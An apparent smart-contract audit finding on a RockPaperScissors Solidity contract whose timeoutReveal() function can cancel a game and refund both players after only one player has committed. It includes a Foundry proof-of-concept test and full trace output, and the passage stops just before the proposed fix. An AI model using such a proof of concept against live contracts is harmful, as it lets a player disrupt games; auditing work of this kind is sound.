The timeoutReveal() function is intended to allow a game to be canceled when a player fails to reveal their move during the reveal phase. However, the contract allows calling timeoutReveal() even when only one player has committed, which violates the intended flow of the commit-reveal mechanism.
This is a logic vulnerability: the reveal phase should not be active unless both players have committed moves.
function test_StuckInCommitPhase() public {
address playerA = address(0xA1);
address playerB = address(0xB2);
RockPaperScissors game = new RockPaperScissors();
vm.deal(playerA, 1 ether);
vm.deal(playerB, 1 ether);
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: 0.5 ether}(1, 600);
vm.prank(playerB);
game.joinGameWithEth{value: 0.5 ether}(gameId);
bytes32 saltA = keccak256("123salt");
bytes32 commitA = keccak256(abi.encodePacked(uint8(1), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
vm.warp(block.timestamp + 7 days);
vm.expectRevert("Cannot timeout yet");
vm.prank(playerA);
game.timeoutReveal(gameId);
}
The trace shows the game was cancelled and both players were refunded, despite only one player committing
forge test --mt test_StuckInCommitPhase -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https:
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠢] Compiling...
[⠑] Compiling 1 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 16.04s
Compiler run successful!
Ran 1 test for test/RPS_DoSCommitPhase.t.sol:RPS_DoSCommitPhase
[FAIL: next call did not revert as expected] test_StuckInCommitPhase() (gas: 306076)
Traces:
[2750597] RPS_DoSCommitPhase::setUp()
├─ [2701883] → new RockPaperScissors@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ ├─ [599683] → new WinningToken@0x104fBc016F4bb334D775a19E8A6510109AC63E00
│ │ ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: RockPaperScissors: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
│ │ └─ ← [Return] 2541 bytes of code
│ └─ ← [Return] 10115 bytes of code
├─ [0] VM::deal(0x00000000000000000000000000000000000000A1, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(0x00000000000000000000000000000000000000b2, 1000000000000000000 [1e18])
│ └─ ← [Return]
└─ ← [Return]
[306076] RPS_DoSCommitPhase::test_StuckInCommitPhase()
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 500000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 0, creator: 0x00000000000000000000000000000000000000A1, bet: 500000000000000000 [5e17], totalTurns: 1)
│ └─ ← [Return] 0
├─ [0] VM::prank(0x00000000000000000000000000000000000000b2)
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 500000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: 0x00000000000000000000000000000000000000b2)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [47751] RockPaperScissors::commitMove(0, 0xa9d4ce77dff0de977314d3315109465f2a102f840a47b3adc7d7f7e6ae0697c2)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x00000000000000000000000000000000000000A1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::warp(604801 [6.048e5])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf28dceb3: Cannot timeout yet)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [19203] RockPaperScissors::timeoutReveal(0)
│ ├─ [0] 0x00000000000000000000000000000000000000A1::fallback{value: 500000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [0] 0x00000000000000000000000000000000000000b2::fallback{value: 500000000000000000}()
│ │ └─ ← [Stop]
│ ├─ emit GameCancelled(gameId: 0)
│ └─ ← [Return]
└─ ← [Revert] next call did not revert as expected
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 775.31µs (151.96µs CPU time)
Ran 1 test suite in 697.98ms (775.31µs CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/RPS_DoSCommitPhase.t.sol:RPS_DoSCommitPhase
[FAIL: next call did not revert as expected] test_StuckInCommitPhase() (gas: 306076)
Encountered a total of 1 failing tests, 0 tests succeeded
This confirmed the issue: timeoutReveal() succeeded even though revealDeadline was never initialized. The test failed because it expected a revert (Cannot timeout yet), but the call completed successfully.
This reveals a flawed logical condition that misfires the cancel path.
Add a check to timeoutReveal() to ensure both players have committed before enforcing the timeout logic:
